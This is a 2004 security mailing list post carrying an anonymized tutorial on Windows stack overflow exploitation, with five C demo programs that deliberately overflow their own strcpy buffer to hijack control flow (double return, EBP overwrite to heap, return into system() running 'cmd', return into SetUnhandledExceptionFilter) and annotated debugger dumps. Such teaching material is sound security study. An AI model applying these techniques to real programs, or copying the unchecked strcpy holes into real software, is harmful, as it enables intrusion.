Dailydave mailing list archives

anonymized stack overflow paper


From: Dave Aitel <dave () immunitysec com>
Date: Sat, 31 Jan 2004 19:29:26 -0500

begin anonymized content

Wassup peeps...

Companion to the heap exploitation paper... Nothing serious in this one
just some fun...

----------------------------------------------------------------------
+ Windows Stack Overflow Exploitation
----------------------------------------------------------------------

This is not a 'complete' guide to windows stack overflows.

It includes sample code and technical details on how to exploit stack
overflows through different ways.

----------------------------------------------------------------------
+ Example - Double ret
----------------------------------------------------------------------
/*
        Stack based overflows
        Double return technique
        compile for release
*/

void doit(char* buf)
{
        char smallbuf[10];
        memset(smallbuf,0x0,sizeof(smallbuf));
        printf("strcpy\n");

//_asm int 3;
        _asm nop;

        strcpy(smallbuf,buf);
}

int main(int argc,char *argv[])
{
        char buf[100];

        printf("+ Stack based overflow\n+ Double return\n");
        memset(buf,0x0,sizeof(buf));

        // The double return
        memset(buf,0xcc,12);                            // 12 bytes
        strcat(buf,"\x64\x64\x64\x64");               // SET EBP
        strcat(buf,"\x3e\x10\x40\x00");               // SET EIP to ret 0x0040103e

        doit(buf);

        printf("+ done\n");
        return 0;
}

----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
After the call to strcpy code execution reaches this point.

- Code Segment
00401039   pop         edi
0040103A   pop         esi
0040103B   mov         esp,ebp
0040103D   pop         ebp
0040103E   ret

When execution reaches the ret statement things now look like this.

- Registers
EAX = 00000014 EBX = 00000004
ECX = 00000000 EDX = 0012FEF8
ESI = 00406044 EDI = 0012FF34
EIP = 0040103E ESP = 0012FF08
EBP = 64646464 EFL = 00000246

-Stack Dump
0012FF08  0040103E  0012FF20
0012FF10  00406050  00000000

- Code Segment
0040103E   ret

Our return address of 0x40103e will be popped off the stack and
execution will continue with another ret command. At this time
the stack will look like this.

-Stack Dump
0012FF0C  0012FF20  00406050
0012FF14  00000000  00000000

The stack now holds the address of a buffer with our data, and by
returning to it execution flow is passed back us.

-Data Dump 0x0012FF20
0012FF20  CCCCCCCC  CCCCCCCC
0012FF28  CCCCCCCC  64646464
0012FF30  0040103E  00000000

----------------------------------------------------------------------
+ Example - Double ret/pop
----------------------------------------------------------------------
/*
        Stack based overflow
        Double return pop stack first
        compile for release
*/
void doit(int flag,char* buf)
{
        char smallbuf[10];
        memset(smallbuf,0x0,sizeof(smallbuf));
        printf("+ strcpy\n");

//_asm int 3;
        _asm nop;
        strcpy(smallbuf,buf);
}
int main(int argc,char *argv[])
{
        char buf[100];

        printf("+ Stack based overflow\n+ Double return/pop\n");
        memset(buf,0x0,sizeof(buf));

        memset(buf,0xCC,12);                            // 12 bytes
        strcat(buf,"\x64\x64\x64\x64");               // SET EBP
        strcat(buf,"\x3d\x10\x40\x00");               // SET EIP to 0040103D

        doit(1,buf);

        printf("+done\n");
        return 0;
}

----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
After the call to strcpy code execution reaches this point.

- Code Segment
00401039   pop         edi
0040103A   pop         esi
0040103B   mov         esp,ebp
0040103D   pop         ebp
0040103E   ret

When execution reaches the ret statement things now look like this.

- Registers
EAX = 00000014 EBX = 00000004
ECX = 00000000 EDX = 0012FEF4
ESI = 00406048 EDI = 0012FF34
EIP = 0040103E ESP = 0012FF04
EBP = 64646464 EFL = 00000246

-Stack Dump
0012FF04  0040103D  00000001
0012FF0C  0012FF20  00406054
0012FF14  00000000  00000000
0012FF1C  7FFDF000  CCCCCCCC
0012FF24  CCCCCCCC  CCCCCCCC
0012FF2C  64646464  0040103D

- Code Segment
0040103E   ret

Our return address of 0x40103D will be popped off the stack and
execution will continue with a pop and then another ret command.
At this time the stack will look like this.

-Stack Dump
0012FF0C  0012FF20  00406054
0012FF14  00000000  00000000
0012FF1C  7FFDF000  CCCCCCCC
0012FF24  CCCCCCCC  CCCCCCCC
0012FF2C  64646464  0040103D

The stack now holds the address of a buffer with our data, and by
returning to it execution flow is passed back us.

-Data Dump 0x0012FF20
0012FF20  CC CC CC CC CC  ÌÌÌÌÌ
0012FF25  CC CC CC CC CC  ÌÌÌÌÌ
0012FF2A  CC CC 64 64 64  ÌÌddd
0012FF2F  64 3D 10 40 00  d=.@.

----------------------------------------------------------------------
+ Example - SET EBP / Return to heap
----------------------------------------------------------------------
/*
        Stack based overflow
        SET EBP / Return to heap
        compile for release
*/

void doit(char* buf)
{
        char smallbuf[10];
        memset(smallbuf,0x0,sizeof(smallbuf));
        printf("+ strcpy\n");

//_asm int 3;
        _asm nop;

        strcpy(smallbuf,buf);
}

char* a;
int main(int argc,char *argv[])
{
        char buf[100];

        printf("+ Stack based overflow\n+ Using EBP\n");
        _asm int 3;
        //_asm nop;
        a = malloc(5000);
        memset(buf,0x0,sizeof(buf));

        memset(buf,0xcc,12);                    // 12 bytes
        strcat(buf,"\xa0\x6a\x40");           // SET 3 bytes of EBP to 0x406aa4  - 4

        strcpy(a,buf);  // Put our buffer somewhere
        doit(buf);

        printf("+ done\n");
        return 0;
}

----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
After the call to strcpy code execution reaches this point.

- Code Segment
00401039   pop         edi
0040103A   pop         esi
0040103B   mov         esp,ebp
0040103D   pop         ebp
0040103E   ret

When execution reaches the pop ebp statement things now look like this.

- Registers
EAX = 00000010 EBX = 00000004
ECX = 00000000 EDX = 0012FEF0
ESI = 0012FF2C EDI = 002F61C8
EIP = 0040103D ESP = 0012FEFC

-Stack Dump
0012FEFC  00406AA0  004010D4
0012FF04  0012FF1C  00001388
0012FF0C  00406048  00000000
0012FF14  00000000  7FFDF000
0012FF1C  CCCCCCCC  CCCCCCCC
0012FF24  CCCCCCCC  00406AA0

- Code Segment
0040103D   pop         ebp
0040103E   ret

Our address of 0x406AA0 will be popped off the stack into EBP.
Execution will then continue as normal because we have not overwritten
more of the stack, affecting ESP.

We have set EBP to the local address holding the address of the heap where
our data is stored, -4 to compensate for a later pop instruction.

-Data Dump 0x00406AA0
00406AA0  00000001  002F61B8
00406AA8  000004E4  00000000
00406AB0  00000000  00000000

-Data Dump 0x002F61B8
002F61B8  CC CC CC CC CC  ÌÌÌÌÌ
002F61BD  CC CC CC CC CC  ÌÌÌÌÌ
002F61C2  CC CC A0 6A 40  ÌÌ j@

Execution flow continues as normal untill it reaches this segment.

-Code Segment
004010E6   mov         esp,ebp
004010E8   pop         ebp
004010E9   ret

At this point ESP is set to our EBP value, a new EBP is popped and then
a return address is popped.

-Stack Dump
00406AA0  00000001  002F61B8
00406AA8  000004E4  00000000

The address of the heap will be popped from the stack,and execution flow
is passed back us.

-Data Dump 0x002F61B8
002F61B8  CC CC CC CC CC  ÌÌÌÌÌ
002F61BD  CC CC CC CC CC  ÌÌÌÌÌ
002F61C2  CC CC A0 6A 40  ÌÌ j@

----------------------------------------------------------------------
+ Example - Return into system()
----------------------------------------------------------------------
/*
        Stack based overflow
        Return to lib-c SYSTEM()
        compile for release
*/

#pragma comment (lib,"msvcrt")

void doit(int flag,char* buf)
{
        char smallbuf[10];
        memset(smallbuf,0x0,sizeof(smallbuf));
        printf("+ Executing strcpy()\n");

//_asm int 3;
        _asm nop;

        strcpy(smallbuf,buf);
}
int main(int argc,char *argv[])
{
        char buf[100];

        printf("+ Stack based overflow\n+ Return to system()\n");
        memset(buf,0x0,sizeof(buf));

        strcpy(buf,"cmd         ");   // 12 bytes
        strcat(buf,"\x64\x64\x64\x64");       // SET EBP
        strcat(buf,"\xbf\x8e\x01\x78");       // Return Address Set To system()

        doit(12,buf);

        printf("+ done\n");
        return 0;
}

----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
After the call to strcpy code execution reaches this point.

- Code Segment
00401039   pop         edi
0040103A   pop         esi
0040103B   mov         esp,ebp
0040103D   pop         ebp
0040103E   ret

When execution reaches the ret statement things now look like this.

- Registers
EAX = 00000015 EBX = 00000005
ECX = 00000000 EDX = 0012FEC0
ESI = 00403035 EDI = 0012FF01
EIP = 0040103E ESP = 0012FED0
EBP = 64646464 EFL = 00000202

-Stack Dump
0012FED0  78018EBF  00000000
0012FED8  0012FEEC  00403050
0012FEE0  00000000  00000000

- Code Segment
0040103E   ret

Our return address of 0x78018ebf (system) will be popped off the stack
and execution will flow directly into the system() call. At this time
the stack will look like this.

-Stack Dump
0012FED4  00000000  0012FEEC
0012FEDC  00403050  00000000

At this time the stack holds the function return address (0x00000000)
and the offset of the string to pass to the system function (0x0012feec)

-Data Dump 0x0012feec
0012FEEC  63 6D 64 20 20  cmd
0012FEF1  20 20 20 20 20
0012FEF6  20 20 64 64 64    ddd
0012FEFB  64 BF 8E 01 78

----------------------------------------------------------------------
+ Example - Return into SetUnhandledExceptionFilter()
----------------------------------------------------------------------
/*
        Stack based overflow
        Return to lib-c SetUnhandledExceptionFilter
        compile for release. debug with softice and i3here on
*/
#include <windows.h>
void doit(int flag,char* buf)
{
        char smallbuf[10];
        memset(smallbuf,0x0,sizeof(smallbuf));
        printf("+ strcpy\n");

//_asm int 3;
        _asm nop;

        strcpy(smallbuf,buf);
}

int main(int argc,char *argv[])
{
        char buf[100];

        printf("+ Stack based overflow\n+ Return to
SetUnhandledExceptionFilter()\n");
        memset(buf,0x0,sizeof(buf));

        memset(buf,0xcc,12);                    // 12 Bytes
        strcat(buf,"\x64\x64\x64\x64");               // SET EBP
        strcat(buf,"\xa3\xba\x59\x7c");               // SET EIP
        strcat(buf,"\x62\x62\x62");           // SET 2nd EIP to cause exception

        doit(12,buf);

        printf("+ done\n");
        return 0;

}

----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
After the call to strcpy code execution reaches this point.

- Code Segment
00401039   pop         edi
0040103A   pop         esi
0040103B   mov         esp,ebp
0040103D   pop         ebp
0040103E   ret

When execution reaches the ret statement things now look like this.

- Registers
EAX = 00000018 EBX = 00000004
ECX = 00000000 EDX = 0012FEF4
ESI = 00406048 EDI = 0012FF38
EIP = 0040103E ESP = 0012FF04
EBP = 64646464 EFL = 00000246

-Stack Dump
0012FF04  7C59BAA3  00626262
0012FF0C  0012FF20  00406058
0012FF14  00000000  00000000
0012FF1C  7FFDF000  CCCCCCCC
0012FF24  CCCCCCCC  CCCCCCCC
0012FF2C  64646464  7C59BAA3

- Code Segment
0040103E   ret

Our return address of 0x7C59BAA3 (SetUnhandled..) will be popped off the
stack
and execution will flow directly into the call. At this time the stack will
look
like this.

-Stack Dump
0012FF08  00626262  0012FF20
0012FF10  00406058  00000000
0012FF18  00000000  7FFDF000
0012FF20  CCCCCCCC  CCCCCCCC
0012FF28  CCCCCCCC  64646464
0012FF30  7C59BAA3  00626262

At this time the stack holds the function return address (0x00626262)
and the offset of the string to pass to the system function (0x0012FF20)

-Data Dump 0x0012FF20
0012FF20  CC CC CC CC CC  ÌÌÌÌÌ
0012FF25  CC CC CC CC CC  ÌÌÌÌÌ
0012FF2A  CC CC 64 64 64  ÌÌddd
0012FF2F  64 A3 BA 59 7C  d£ºY|
0012FF34  62 62 62 00 00  bbb..

INC, IAC

end anonymized content


_______________________________________________
Dailydave mailing list
Dailydave () lists immunitysec com
http://www.immunitysec.com/mailman/listinfo/dailydave


Current thread: